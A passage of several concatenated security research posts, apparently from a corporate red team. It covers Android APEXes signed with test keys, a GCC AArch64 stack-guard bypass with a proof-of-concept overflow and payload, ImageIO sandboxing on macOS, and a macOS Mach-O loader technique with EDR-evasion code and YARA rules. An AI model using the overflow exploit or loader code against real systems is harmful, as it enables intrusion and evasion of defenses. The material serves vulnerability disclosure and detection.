1. In Android.bp files, some APEXes, including com.android.vndk, are marked updatable: false. That might lead OEMs to believe that such APEXes cannot be updated and so don’t need secure keys, but in fact all it means is that the build system will not “enforce additional rules for making sure that the APEX is truly updatable”.
2. com.android.vndk is not in Google’s documented list of APEXes. Additionally, the AVB test key files for com.android.vndk end in .pubkey rather than the more common .avbpubkey, which could cause naive enumeration strategies to miss them.

Response

We reported our findings privately to Google on September 19th, 2023. Google acknowledged our report immediately, and the Android Security Team confirmed it as valid within a week. On September 25th, Google issued Partner Security Advisory 2023-11, advising its OEM partners of the issue and how to fix it. Around the same time, Google individually contacted each affected OEM we identified.

To ensure that OEMs re-signed vulnerable APEXes, Google added a test to their proprietary Build Test Suite (BTS), through which all updates to Play Protect certified devices pass, that warned of vulnerable APEXes starting November 1st and rejected them starting December 4th for updates claiming a December 2023 patch level or higher.

Google has also fixed the deficiencies we identified in CTS. We have not seen those fixes, which won’t be made public until the release of Android V. Nonetheless, we believe the vast majority of real-world risk is now gone: OEMs have had ample time to patch their devices since Google’s initial advisory, and a spot check we performed on January 25th revealed that most have done so.

CVE-2023-45779 was made public by Google on December 4th but contained no details. This post and our accompanying disclosure are the first public descriptions of the issue. Google plans to update the CVE with more detail after we publish this post.

Tested devices

Entry format

• Device name
  ro.build.fingerprint
  Where we obtained the OS image
  Vulnerable APEXes, if any

Vulnerable

NOTE: On every device we checked, either all versions of the VNDK APEX were vulnerable or none of them were. For brevity, we’ve only listed the VNDK version that’s actually used by each vulnerable device.

• Asus Zenfone 9
  asus/WW_AI2202/ASUS_AI2202:13/TKQ1.220807.001/33.0804.2060.142:user/release-keys
  Official ASUS OTA ZIP
  com.android.vndk.v32, com.android.uwb, com.android.wifi
• vivo X90 Pro
  vivo/V2219/V2219:14/UP1A.230620.001/compiler07281738:user/release-keys
  dumps.tadiphone.dev, vivo/v2219
  com.android.vndk.v33, com.android.rkpd, com.android.uwb, com.android.virt, com.android.wifi
• Nokia G50
  Nokia/Punisher_00WW/PHR_sprout:13/TKQ1.220807.001/00WW_3_320:user/release-keys
  dumps.tadiphone.dev, nokia/phr_sprout
  com.android.vndk.v30
• Microsoft Surface Duo 2
  surface/duo2/duo2:12/2023.429.67/202304290067:user/release-keys
  Official Microsoft OTA ZIP
  com.android.vndk.v30, com.android.appsearch, com.android.wifi
• Lenovo Tab M10 Plus (Gen 3, Wi-Fi)
  Lenovo/TB125FU/TB125FU:13/TP1A.220624.014/S100078_230713_ROW:user/release-keys
  Physical device
  com.android.vndk.v31, com.android.uwb, com.android.wifi
• Nothing Phone 2
  Nothing/Pong/Pong:13/TKQ1.221220.001/2308181943:user/release-keys
  dumps.tadiphone.dev, Nothing/Pong
  com.android.vndk.v32, com.android.uwb, com.android.wifi
• Fairphone 5
  NOTE: Fairphone did their own investigation in response to our report and discovered that Fairphone 3, 3+, and 4 were also vulnerable. You can read their statement here.
  Fairphone/FP5/FP5:13/TKQ1.230127.002/TT3G:user/release-keys
  dumps.tadiphone.dev, fairphone/fp5
  com.android.vndk.v30, com.android.uwb, com.android.wifi

Not vulnerable

• Google Pixel 5
  google/redfin/redfin:13/TQ3A.230805.001.A2/10385117:user/release-keys
  Physical device
• Samsung Galaxy S23
  samsung/dm1quew/dm1q:13/TP1A.220624.014/S911U1UEU1AWGH:user/release-keys
  Official Samsung OTA ZIP, fetched with samloader
• Xiaomi Redmi Note 12 4G
  Redmi/tapas_global/tapas:13/TKQ1.221114.001/V14.0.12.0.TMTMIXM:user/release-keys
  Official Xiaomi OTA ZIP
• OPPO Find X6 Pro
  OPPO/PGEM10/OP528BL1:13/TP1A.220905.001/T.10b3891-27825-556fa:user/release-keys
  dumps.tadiphone.dev, oppo/op528bl1
• Sony Xperia 1 V
  Sony/pdx234/pdx234:13/TKQ1.221114.001/1:user/release-keys
  dumps.tadiphone.dev, sony/pdx234
• moto razr 40 Ultra
  motorola/zeekr_cn/msi:13/T2TZ33M.18-35-5/dcdd5:user/release-keys
  dumps.tadiphone.dev, motorola/zeekr
• OnePlus 10T
  OnePlus/CPH2413/OP5552L1:13/SKQ1.221119.001/S.123ec2a_6b801_6ff30:user/release-keys
  dumps.tadiphone.dev, oneplus/op5552l1

Appendix: disclosure timeline

• September 6th, 2023: We notice that an Android device we use for testing has APEXes signed with test keys, which prompts us to check other devices.
• September 13th, 2023: We complete our survey and conclude that the issue is widespread enough that Google should coordinate the response.
• September 19th, 2023: We report our findings to Google, who passes them to the Android Security Team.
• September 25th, 2023: Google releases an Android Partner Security Advisory to their OEM partners detailing the issue. The next day, they respond to us, rating the issue High Severity.
• September 28th, 2023: Google informs us of the Partner Advisory and indicates they’ve contacted affected OEMs directly.
• October 18th, 2023: Google updates the Partner Security Advisory with details on remediation, stating that the issue will be part of the December 4th Android Security Bulletin and detailing the BTS enforcement schedule.
• October 26th, 2023: We ask Google if the December ASB will contain enough details to warrant simultaneous release of this post, even if most OEMs haven’t released a fix. Google replies that the bulletin text won’t contain “specific technical information” but that they do “consider [the issue] publicly disclosed” at that point.
• November 1st: BTS purportedly begins warning OEMs when a build has vulnerable APEXes.
• November 6th, 2023: We notify affected OEMs that we’ll name them in this post on December 4th, as we believe the ASB will include CTS patches indicating APEXes have been signed with test keys. We offer to publish statements from them. We receive an automated acknowledgement from Nothing, and Nokia Corporation tells us they’ve passed the email to HMD Global, who makes Nokia-branded phones but “don’t have [a] similar responsible disclosure program”.
• November 7th, 2023: Google updates the Partner Security Advisory to add the CVE number and a note that only “builds … claiming the 2023-12-05 SPL or higher” will be subject to BTS enforcement on December 4th.
• November 13th, 2023: Lenovo confirms receipt of our email and says they don’t yet have a statement.
• Week of November 13th: Multiple OEMs create keys to re-sign their vulnerable APEXes, as evidenced by metadata in the updates they subsequently released.
• November 15th, 2023: Google asks permission to share our detection tooling with OEMs who want an offline way to find vulnerable APEXes. We grant it.
• November 15th, 2023: We ask Google explicitly if the December ASB will include CTS patches, as our plan to disclose on December 4th relies on that assumption.
• November 21st, 2023: Google sends us a generic update which formally shares the CVE ID and states in part that they “will be releasing a patch for this issue in an upcoming bulletin”.
• November 27th, 2023: We notice that the December ASB partner preview, which Meta has access to but most researchers don’t, contains no APEX-related CTS patches. We ask Google to confirm that the ASB will expose details of the issue via a patch. Google replies that CTS patches actually won’t become public until Android V and that they support us giving OEMs more time.
• November 28th, 2023: Lenovo asks us if we plan to disclose on December 4th, like our notice claimed, or on December 18th (90 days from our initial report), like Google’s Partner Advisory claimed. We reply that it’ll be 4th but we’re considering postponement given the new information from Google.
• December 1st, 2023: Lenovo follows-up on their question. We opt to officially postpone disclosure until January 30th, 2024 and notify all OEMs of the change. At this point, no OEMs had yet released fixes to our knowledge.
• December 4th, 2023: The December ASB comes out. As promised, it contains no details an attacker could use to discern the issue.
• December 7th, 2023: Fairphone thanks us for the postponement, says they intend to provide a statement, and asks permission to credit us in their own disclosure. We accept, and a couple weeks later we exchange statements and links where our respective disclosures will appear.
• January 16th, 2024: Google offers us a $7,000 bounty for our report, which we ask them on January 25th to donate to charity. (Google, like Meta, doubles bounties paid to charity.)
• January 25th, 2024: Lenovo asks for confirmation that January 30th is still our planned disclosure date, which we give.
• January 30th, 2024: This post, our disclosure, our PoC code, and Fairphone’s post all go live.

Background

Memory safety bugs cause most security vulnerabilities in C and C++ programs. A common and easily-exploitable type of memory safety bug is the stack buffer overflow, in which a program fails to check that an attacker-controlled length or offset is within the bounds of a local (i.e. stack-allocated) array, allowing the attacker to write to memory past the end of that array:

1. Stack buffer overflows are common because C makes bounds checking hard. The only way to pass an array to a function in C is to pass a pointer to the beginning of that array, which discards its length. Well-written functions take the length as a separate parameter so they can perform bounds checks, but many functions (e.g. gets() and strcpy() in libc) aren’t well-written. Even ones that are have no way to verify that the length is correct and not, say, derived from an attacker-controlled input.
2. Stack buffer overflows are easily exploitable because they usually let an attacker control execution instead of just data. The stack, which holds local variables of each running function, also holds each function’s return address, which tells it where it was called from so it can go back there once it’s done. By changing the return address, the attacker can make the program run code of their choosing.

Compiler warnings and static analysis tools help solve #1 by flagging safety bugs when code is written, but the nature of C and C++ makes both false positives and false negatives inevitable. (Safe languages like Rust fully solve #1, but it’ll be a while yet before the average person relies on no security-critical C or C++ in their daily life.)

As such, modern C/C++ compilers also try to solve #2 by making stack buffer overflows harder to exploit in the programs they compile. They do so using various techniques, but the one we’ll discuss today is known as stack smashing protection.

Functions compiled with stack smashing protection place a secret, randomly-generated value known as a stack guard or stack canary in their stack frame, between their local variables and their return address. Right before they return, they check if the guard has changed and (in most runtimes) abort the program immediately if it has. The compiler automatically inserts the instructions to set and check the guard, so no source code changes are needed.

Such a drastic response is warranted because, if the stack guard changes, there’s a 100% chance that a buffer overflow has occurred. The reverse is not true, though: stack guards only reliably detect contiguous overflow bugs, in which an attacker controls the length of data written to a local array but not the offset. If they do control the offset, they can selectively overwrite the return address while leaving the guard and other intervening bytes unchanged. Many real-world bugs allow only contiguous overflows, though; for those, stack guards are effective.

GCC is one of the most popular C/C++ compilers in the world. It protects against stack smashing exactly as just described when invoked with the -fstack-protector flag or one of its variants. AArch64 is the 64-bit version of the ARM architecture and powers most modern handheld devices.

Vulnerability details

On AArch64 targets, GCC’s stack smashing protection does not detect or defend against overflows of dynamically-sized local variables. In C, dynamically-sized variables include both variable-length arrays and buffers allocated using alloca(). GCC’s AArch64 stack frames place such variables immediately below saved register values like the return address with no intervening stack guard. All versions of GCC that support the pertinent features are affected.

The reason this happens for AArch64 but not for other GCC targets is because GCC’s AArch64 backend lays out stack frames in an unconventional way: instead of saving the return address at the top of a frame (i.e. at the highest address, pushed before anything else) like most other backends and compilers, it saves it near the bottom of the frame, below the local variables. This comment from GCC’s source documents the frame layout:

/* AArch64 stack frames generated by this compiler look like:

	+-------------------------------+
	|                               |
	|  incoming stack arguments     |
	|                               |
	+-------------------------------+
	|                               | <-- incoming stack pointer (aligned)
	|  callee-allocated save area   |
	|  for register varargs         |
	|                               |
	+-------------------------------+
	|  local variables              | <-- frame_pointer_rtx
	|                               |
	+-------------------------------+
	|  padding                      | \
	+-------------------------------+  |
	|  callee-saved registers       |  | frame.saved_regs_size
	+-------------------------------+  |
	|  LR'                          |  |
	+-------------------------------+  |
	|  FP'                          |  |
	+-------------------------------+  |<- hard_frame_pointer_rtx (aligned)
	|  SVE vector registers         |  | \
	+-------------------------------+  |  | below_hard_fp_saved_regs_size
	|  SVE predicate registers      | /  /
	+-------------------------------+
	|  dynamic allocation           |
	+-------------------------------+
	|  padding                      |
	+-------------------------------+
	|  outgoing stack arguments     | <-- arg_pointer
	|                               |
	+-------------------------------+
	|                               | <-- stack_pointer_rtx (aligned)

LR' is the return address, so named because it’s saved from the LR register, and is the target of nearly all stack smashing attacks. It may then seem like a feature, not a bug, to put it at a lower address than the locals: a contiguous overflow only lets an attacker write to memory past the vulnerable local, so this layout keeps the return address out of their reach! In practice though, the memory immediately past a function’s stack frame is almost always another stack frame (belonging to the calling function) with its own saved LR value that the attacker can manipulate to the same effect.

You may notice that the layout above makes no mention of a stack guard. That’s because GCC’s architecture-independent code treats the stack guard as a local, placing it at the very top of the local area without any input from the target backend. Implicit in that placement is an assumption that locals will always occupy one contiguous region with no saved registers interspersed. But that assumption doesn’t hold on AArch64: as shown in the diagram, dynamic allocations live at the very bottom of the stack frame, below the saved registers, with no intervening guard.

Dynamic allocations are just as susceptible to overflows as other locals. In fact, they’re arguably more susceptible because they’re almost always arrays, whereas fixed locals are often integers, pointers, or other types to which variable-length data is never written. GCC’s own heuristics for when to use a stack guard reflect this, with its man page saying this about -fstack-protector (emphasis ours):

Emit extra code to check for buffer overflows … by adding a guard variable to functions with vulnerable objects. This includes functions that call “alloca”, and functions with buffers larger than or equal to 8 bytes.

Demonstration

The following C program is vulnerable to a contiguous stack overflow attack even when compiled with -fstack-protector or -fstack-protector-all:

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    if (argc != 2)
        return 1;

    // Variable-length array
    uint8_t input[atoi(argv[1])];

    size_t n = fread(input, 1, 4096, stdin);
    fwrite(input, 1, n, stdout);

    return 0;
}

We cross-compiled this program for AArch64 using Arm’s GCC 12.2.Rel1 prebuilt toolchain and then ran it under QEMU, with debugging enabled, on an x86_64 host:

$ aarch64-none-linux-gnu-gcc -fstack-protector-all -O3 -static -Wall -Wextra -pedantic -o example-dynamic example-dynamic.c
$ echo -n 'DDDDDDDDPPPPPPPPFFFFFFFFAAAAAAAA' | qemu-aarch64 -g 5555 example-dynamic 8

We ask the program to make a dynamic allocation of size 8, which GCC rounds up to 16. The exploit payload mirrors the stack layout, with the eight “D”s representing the non-overflowing data, the eight “P”s padding out the actual allocation, the eight “F”s overwriting the saved frame pointer, and the eight “A”s overwriting the saved return address.

Attaching a debugger and resuming the program results in an immediate segfault with PC set to the address from our payload, showing we have full control over execution flow despite the stack guard:

$ gdb example-dynamic
GNU gdb (GDB) Fedora Linux 13.1-3.fc37
<snip>
(gdb) target remote :5555
Remote debugging using :5555
<snip>
(gdb) continue
Continuing.

Program received signal SIGBUS, Bus error.
0x0041414141414141 in ?? ()
(gdb) print/a $pc
$1 = 0x41414141414141

For comparison, the following program, which uses a fixed allocation of size 8 instead of a dynamic one, detects the overflow correctly (the “G”s in the payload overwrite the guard):

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

int main(void) {
    uint8_t input[8];

    size_t n = fread(input, 1, 4096, stdin);
    fwrite(input, 1, n, stdout);

    return 0;
}

$ aarch64-none-linux-gnu-gcc -fstack-protector-all -O3 -static -Wall -Wextra -pedantic -o example-static example-static.c
$ echo -n 'DDDDDDDDGGGGGGGG' | qemu-aarch64 example-static
*** stack smashing detected ***: terminated
Aborted (core dumped)

Response

Meta’s Red Team X reported this issue privately to Arm on May 31st, 2023. We would have preferred to report the issue to GCC, but at that time GCC had no documented private disclosure process. Progress has since been made on creating one. Since every AArch64 maintainer in GCC’s MAINTAINERS file has an @arm.com email address, Arm was our next best choice.

Arm acknowledged our report immediately, and their compiler team confirmed our findings within a day. They had a fix ready by August 1st and met with us to agree on a coordinated disclosure process. Over the following month, Arm shared the patch with widely-used Linux distributions and other partners of theirs, both to get extra eyes on the patch and to allow those partners time to rebuild their software repositories. As it happens, one partner found an issue with Arm’s initial fix—involving a missing barrier against instruction reordering—that made it inadequate in certain cases. We delayed our initial disclosure date to allow Arm to distribute a revised version of the patch.

Arm has been extremely responsive throughout the process and has taken the lead to get the fix where it needs to go. We’d like to thank them for their professionalism.

Because GCC development happens in the open, we were unable to coordinate with GCC to announce new releases simultaneous with this post and other disclosures. However, Arm’s patches for the issue are now on GCC’s mailing list, and we expect releases to follow in short order. The following other disclosures will also appear:

• CVE-2023-4039
• Arm’s security bulletin
• Meta’s disclosure

Prior work

GCC’s ARM stack guards have a history of subtle correctness issues:

• Faulty Stack Smashing Protection on ARM Systems by Christian Reitter: writeup of a GCC bug that caused AArch32 stack guards to hold the address of the guard value rather than the value itself, making it much easier to guess.
• CVE-2018-12886: a GCC bug that in certain cases let an attacker control what value an AArch32 stack guard was compared against by overwriting a different stack variable that was not itself protected.

Appendix: assembly analysis

We graphed the proof-of-concept binaries from above using Rizin’s agfd command to illustrate how the problem manifests in assembly. This is the disassembly graph of the buggy example-dynamic:

There’s a lot happening, but the bold lines are the ones to focus on. The very first instruction in the function, stp x29, x30, [sp, -0x20]!, decrements the sp register by 0x20 (the ! means modify sp instead of just calculating an offset), thereby reserving space for the function’s stack frame, then stores a pair of registers at the bottom of that reserved space. Those registers, x29 and x30, are the frame pointer and link register (LR) respectively. Recall that LR holds the return address that an attacker aims to control.

A few instructions later, str x3, [x29, 0x18] places the 8-byte stack guard at the top of the stack space. x29, the frame pointer, has been updated to match the decremented sp, a value it retains for the rest of the function. At this point, the stack looks like this (offsets relative to x29):

 0x18 stack guard
 0x10 padding
 0x08 saved x29
 0x00 saved x30 (LR)  	<-- x29, sp

sp, on the other hand, doesn’t keep its value: to allocate the dynamically-sized input array, it’s decremented by input’s size (sub sp, sp, x0). It’s then passed as the first argument to fread(), which populates it with user-controlled data. Assuming a dynamic size of 8 (which GCC pads to 16), the stack now looks like this:

 0x18 stack guard
 0x10 padding
 0x08 saved x29
 0x00 saved x30 (LR)  	<-- x29
-0x08 padding
-0x10 input[8]          <-- sp

At this point, the issue is clear: an contiguous overflow of input reaches the saved LR before it even gets close to the stack guard, making the guard ineffective for detecting that overflow.

For comparison, here’s the disassembly graph of example-static, which does not perform any dynamic allocation:

The function begins exactly the same way, storing saved registers at the bottom of the frame and the stack guard at the top. But when it comes time to read user input, sp isn’t decremented again. Instead, the first argument to fread() is within the already-allocated space, above the saved registers (add x0, sp, 0x10). So we have a stack layout like this:

 0x18 stack guard
 0x10 input[8]
 0x08 saved x29
 0x00 saved x30 (LR)  	<-- x29, sp

Here, the stack guard works just as it’s designed: since it immediately follows input, an attacker can’t manipulate anything further up the stack using a contiguous overflow without also changing the guard’s value.

Appendix: disclosure timeline

• April 27th, 2023: During an Azeria Labs ARM exploitation training, we notice that one of the demo binaries has a misplaced stack canary and investigate the cause.
• May 31st, 2023: We disclose the issue privately to Arm, as GCC has no security contact and every MAINTAINER of GCC’s AArch64 backend is Arm-affiliated.
• May 31st, 2023: Arm’s Product Security Incident Response Team acknowledges and triages the report.
• June 1st, 2023: Arm confirms that the report is valid and asks if we intend to issue a CVE or if they should. We respond that we prefer the latter.
• July 13th, 2023: We remind Arm that the 90-day disclosure window is nearly halfway past and ask for a progress update.
• August 1st, 2023: Arm indicates they have a fix ready and requests a call with Meta to discuss coordinated disclosure.
• August 3rd, 2023: Arm and RTX meet. Arm proposes notifying distros and hyperscale partners prior to public disclosure. Meta agrees to that plan.
• August 21st, 2023: Arm and RTX meet again to finalize the disclosure timeline. We agree to make all advisories and patches public on August 29th, 90 days after RTX’s initial report, unless any of Arm’s partners request an extension.
• August 23rd, 2023: One of Arm’s partners requests disclosure be postponed by a week, so we set the new date to September 5th.
• August 30th, 2023: Arm notifies us that a compiler partner found a weakness in the patched mitigation and that they’ll need to revise their patch. We agree to postpone disclosure by another week, to September 12th, to allow time for that.
• September 12th, 2023: This post, our disclosure Arm’s security advisory, CVE-2023-4039, and patches on GCC’s mailing list all go live simultaneously.

Background

In light of the BLASTPASS 0-day being exploited in the wild, we sought to understand how image parsing was performed on Apple devices.

Apple provides the CGImage* set of APIs that enable developers to conveniently work with various image formats. Although these APIs have a prefix indicating the CoreGraphics framework, the underlying parser code resides in ImageIO.framework. Developers may not use CoreGraphics APIs directly and may instead use UIKit’s UIImage class which wraps CGImage* APIs and can be used to easily render an image in a UIKit application.

Information about Apple’s image parsing practices is scarce, with the exception of a 2020 article by Project Zero which mentioned that some formats like PSD were parsed out-of-process, while the majority were done in-process. Out-of-process sandboxing of media parsers raise attacker costs by requiring a sandbox escape before exploit code can gain access to app data. This is desirable from a defense perspective.

We wanted to understand which media formats were sandboxed out-of-process, if any.

ImageIOXPCService

According to the Project Zero post, out-of-process image parsing is handled by the ImageIOXPCService service /System/Library/Frameworks/ImageIO.framework/Versions/A/XPCServices/ImageIOXPCService.xpc/Contents/MacOS/ImageIOXPCService.

Examining its exports, we discovered that it provides the same CGImage* APIs as ImageIO. A comparison of the decompiled code for these APIs revealed that they are very similar.

Additionally, both ImageIO and XPCService import libraries like libPNG, libJPEG, etc., suggesting that they share the same capabilities to parse these formats. The list of imports for ImageIO (left) and ImageIOXPCService (right) is provided below:

The sandbox config for ImageIOXPCService is located at /System/Library/Sandbox/Profiles/com.apple.ImageIOXPCService.sb.

Tracing XPC calls using XPoCe, we didn’t see any calls to com.apple.imageioxpcservice, but we did see telemetry from all the calls to ImageIO APIs, hinting that image parsing is being done in-process. We also did not see the ImageIOXPCService process show up in Activity Monitor, further confirming that no out-of-process was happening.

Despite signs that ImageIO is capable of out-of-process parsing, all of this pointed towards in-process execution being the default.

Debugging

At this point we needed clarity and reached for a debugger. There were a couple APIs that were good starting points:

• CGImageSourceCreateWithData saves the reference to an image buffer, parses the header, and initializes a reader plugin based on the format of the image. The reader plugin is a format-specific plugin that knows how to handle each image format.
• CGImageSourceCreateImageAtIndex lazily parses the image buffer when pixel data is accessed.

Stepping through CGImageSourceCreateWithData we see reader initialization determining the image format.

The following code snippet shows IIO_ReaderHandler::readerForBytes initializing an XPC client before deciding whether to use an XPC server (out-of-process) or not (in-process) for parsing image header data. This pattern repeats when reader plugins prepare to parse image contents.

In-Proc or Out-of-Proc?

We have determined that ImageIO is capable of parsing media both in-process and out-of-process. However, the question remains: how does the library decide where to parse an image? There exists a set of functions beginning with “useServerFor*” which determines whether the library will use a remote XPC server (out-of-process) for a specific task.

Let’s examine IIOXPCClient::useServerForIdentification, which determines whether header parsing will be performed locally or in a sandbox. Other useServerFor* functions are similar:

In our experience, param_1 is always 0xffffffff, and the deciding factor is the byte at an offset of 0x24. By default, the byte at this offset was set, which caused useServerForIdentification to return false and made all parsing in-process on macOS.

Forcing Out-of-Proc

Modifying this byte in the debugger forced out-of-process parsing, causing ImageIOXPCService to appear in the Activity Monitor. Success!

Tracing what initialized that byte, we discovered IIOXPCClient_block_invoke:

It sets the value at offset 0x24 into IIOXPCClientObject based on the IIOEnableOOP preference. Let’s take a look at how it works:

First, it checks if an environment variable called IIOEnableOOP is set. If so, this takes precedence over any other preference. We can test our application by setting IIOEnableOOP=YES to verify that parsing is now occurring out-of-process.

If the environment variable is not set, it falls back to reading a CFPreferences value from an app-specific key-value preference store that our application can write to.

To test this, we can call the following to set that app-specific preference:

CFPreferencesSetAppValue(CFSTR("IIOEnableOOP"), kCFBooleanTrue, kCFPreferencesCurrentApplication);

And it works! Now our application is doing OOP sandboxed parsing for all images that use ImageIO APIs. Note that this preference is persistent and will be saved between different application runs.

Does this work on iOS?

Unfortunately, this does not work on iOS. The ImageIOXPCService binary is not present on iOS, and we can see that the useServerForIdentification function body is #ifdef’d blank. The IIOEnableOOP preference has no effect either.

Update as of Nov 2023 (iOS 17):

As of iOS 17 we see this feature show up in code, however, it is gated behind IIO_OSAppleInternalBuild().

Conclusion

While this is an undocumented feature, setting the IIOEnableOOP preference true appears to correctly sandbox ImageIO on macOS and falls back gracefully to in-process parsing on iOS.

Examining the image parsing code in ImageIOXPCService, it resembles the code found in ImageIO itself, and it imports the same libraries used for image parsing

From our testing on macOS 13.5.1, we have not encountered issues with out-of-process parsing. We have not measured the performance impact, but if your application is not heavily reliant on images, enabling this feature is a meaningful security improvement.

There are a few APIs that can be used for in-memory execution of code in macOS. The most well known is an API in dyld, NSCreateObjectFileImageFromMemory, which is heavily documented but has become less effective since it started to leave file artifacts on disk in dyld3. However, there are two more APIs that can still be used for this purpose but aren’t well documented, NSCreateObjectFileImageFromFile and CFBundleCreate.

In this writeup, we touch on all 3 aforementioned APIs and then create a PoC loader which uses NSCreateObjectFileImageFromFile and CFBundleCreate to load a bundle from disk and execute it.

NSCreateObjectFileImageFromMemory

Use of NSCreateObjectFileImageFromMemory and NSLinkModule has been documented several times in the past [1], [2]. These functions in the dylib loader allow us to execute something straight from memory.

• NSCreateObjectFileImageFromMemory is able to load a Mach-O from memory.
• NSLinkModule adds loaded dylib memory space to current process. It facilitates a loader when trying to leverage NSCreateObjectFileFromMemory API.

NSCreateObjectFileImageFromMemory has also been abused several times in the past.

Recent Changes

Starting with dyld3, Apple has changed the NSLinkModule function to stop doing in-memory loading directly. Now, if a program attempts to load something in-memory, it is written to disk with a string fingerprint NSCreateObjectFileImageFromMemory-XXXXXXXX as shown in the following excerpt.

NSModule NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options)
{
    DYLD_LOAD_LOCK_THIS_BLOCK
    log_apis("NSLinkModule(%p, \"%s\", 0x%08X)\n", ofi, moduleName, options);

    __block const char* path = nullptr;
    bool foundImage = gAllImages.forNSObjectFileImage(ofi, ^(OFIInfo &image) {
        // if this is memory based image, write to temp file, then use file based loading
        if ( image.memSource != nullptr ) {
            // make temp file with content of memory buffer
            image.path = nullptr;
            char tempFileName[PATH_MAX];
            const char* tmpDir = getenv("TMPDIR");
            if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) {
                strlcpy(tempFileName, tmpDir, PATH_MAX);
                if ( tmpDir[strlen(tmpDir)-1] != '/' )
                    strlcat(tempFileName, "/", PATH_MAX);
            }
            else
                strlcpy(tempFileName,"/tmp/", PATH_MAX);
            strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX);
...

This new behavior essentially means that “in-memory” execution nature of this API is deprecated. And now, usage of this API is detectable.

Attacker Hat on

This API now leaves a trace on the system, and is therefore less suitable to use as a capability in malware.

Defender Hat on

In dyld3, the usage of this API is quite easily detectable. All we have to do is look for file modifications which contain the string NSCreateObjectFileImageFromMemory from any EDR agent.

I’d thought about detecting this API before the dyld3 changes and came up with the following.

In-memory execution is quite hard to detect without memory forensic signals. Apple has removed kernel extensions, and hence essentially gotten rid of memory dumps in a macOS system. Volexity suggests they have a workaround for this, but it involves allowlisting the kext that they inject into memory. The other way to detect this would be to use YARA signatures in order to find and match function signatures on the loader binary, and chain them together in a sequence.

I wrote up a YARA signature which is fairly successful at detecting this behavior. This signature looks for byte patterns that match LC_MAIN, and invocations of NsLinkModule and NSCreateObjectFileImageFromMemory in a binary. Here, sig_for_mach_o refers to the YARA signature similar to this.

rule memory_loading_and_execution: in_memory_loader{
  meta:
    author = "r34p3r@meta.com"
    share_level = "GREEN"
    description = "Possible in-memory loading and execution of Mach-O Seen in OSX/Evilquest"
  strings:
    $bad_LC_MAIN_jmp = {
      81 ?? 28 00 00 80
      0F 8? ?? ?? ?? ??
    }
    $map_args_to_nslinkmodule = {
        48 ?? (?? ?? | ?? ?? ?? ?? ??)
        48 ?? (?? ?? | ?? ?? ?? ?? ??)
        [0-32]
        BA 03 00 00 00
        [0-32]
        (ff | E8) ?? ?? ?? ??
    }
    $map_args_to_nscreate = {
        48 ?? ?? ?? ?? 00 00
        48 ?? ??
        48 ?? ?? ?? ?? 00 00
        B? (?? | ?? ?? ?? ??)
        [0-32]
        E8 ?? ?? 00 00
    }

  condition:
    {sig_for_mach_o} and $map_args_to_nslinkmodule and $bad_LC_MAIN_jmp and $map_args_to_nscreate
}

NSCreateObjectFileImageFromFile

While going through the dyld APIs, I noticed that there was another API, NSCreateObjectFileImageFromFile, which had a similar function signature to NSCreateObjectFileImageFromMemory. This API is a sibling of NSCreateObjectFileImageFromMemory, and is able to work with any file on disk.

Why use NSCreateObjectFileImageFromFile?

Let’s abstract out the requirement of a good loader for a second and look at it from a high level. In a good loader:

• We want to leave no footprint on disk, except perhaps the loader.
• We want to execute things in a way that avoids detection.

NSCreateObjectFileImageFromMemory mentioned in this note could have been used to execute arbitrary downloaded files in-memory. But do we really need arbitrary executables when the operating system has a lot of Apple signed lolbins?

This API allows you to load any arbitrary Mach-O from disk, and could form an integral piece of an implant.

Internals

// macOS needs to support an old API that only works only
// with fileype==MH_BUNDLE.
NSObjectFileImageReturnCode NSCreateObjectFileImageFromFile(const char* path, NSObjectFileImage* ofi)
{
    log_apis("NSCreateObjectFileImageFromFile(\"%s\", %p)\n", path, ofi);

    // verify path exists
    struct stat statbuf;
    if ( dyld3::stat(path, &statbuf) == -1 )
        return NSObjectFileImageFailure;

    // create ofi that just contains path. NSLinkModule does all the work
    OFIInfo result;
    result.path        = strdup(path);
    result.memSource   = nullptr;
    result.memLength   = 0;
    result.loadAddress = nullptr;
    result.imageNum    = 0;
    *ofi = gAllImages.addNSObjectFileImage(result);

    log_apis("NSCreateObjectFileImageFromFile() => %p\n", *ofi);

    return NSObjectFileImageSuccess;
}

This API is fairly straightforward. While Apple does warn that this API can only be used in bundles, it’s possible to iterate through a mapped image and find the offset for LC_MAIN such that we can call the main function of a mapped executable.

int find_Mach-O(unsigned long addr, unsigned long *base, unsigned int increment, unsigned int dereference) {
    unsigned long ptr;
    // find a Mach-O header by searching from address
    *base = 0;

    while(1) {
        ptr = addr;
        if(dereference) ptr = *(unsigned long *)ptr;
        chmod((char *)ptr, 0777);
        if(errno == 2 /*ENOENT*/ &&
            ((int *)ptr)[0] == 0xfeedfacf /*MH_MAGIC_64*/) {
            *base = ptr;
            return 0;
        }

        addr += increment;
    }
    return 1;
}


int find_epc(unsigned long base, struct entry_point_command **entry) {
    // find the entry point command by searching through base's load commands

    struct mach_header_64 *mh;
    struct load_command *lc;

    *entry = NULL;

    mh = (struct mach_header_64 *)base;
    lc = (struct load_command *)(base + sizeof(struct mach_header_64));
    for(int i=0; i<mh->ncmds; i++) {
        if(lc->cmd == LC_MAIN) {    //0x80000028
            *entry = (struct entry_point_command *)lc;
            return 0;
        }

        lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
    }

    return 1;
}

Hence, this API can be used to load both bundles and Mach-O executables.

Attacker Hat on

From an attacker standpoint, it’s possible to create a backdoor of sorts which takes a Mach-O that exists locally, and execute it without using the “exec” syscall. The execution hence becomes invisible to most EDRs. The following sequence of API calls is how you can accomplish it:

dyldErr = NSCreateObjectFileImageFromFile(
    codePath,
    &ofi
);
module = NSLinkModule(ofi, moduleName, options);
symbol = NSLookupSymbolInModule(module, "_" kBundleEntryPointName);
function = NSAddressOfSymbol(symbol);
function(message);

It provides all the benefits that NSCreateObjectFileImageFromMemory used to provide but does not leave file artifacts on disk. It also avoids use of exec. It is an ideal API to use in an executable loader implant on macOS.

Defender Hat on

The problems to detect this mirror the problems to detect NSCreateObjectFileFromMemory exactly. A YARA signature could be our best bet at detecting this API inside a Mach-O loader:

rule memory_loading_and_execution_using_fileimagefromfile: mac_os in_memory_loader_using_fileimagefromfile{
  meta:
    author = "r34p3r@meta.com"
    share_level = "GREEN"
    description = "Possible in-memory loading and execution of Mach-O"

  strings:
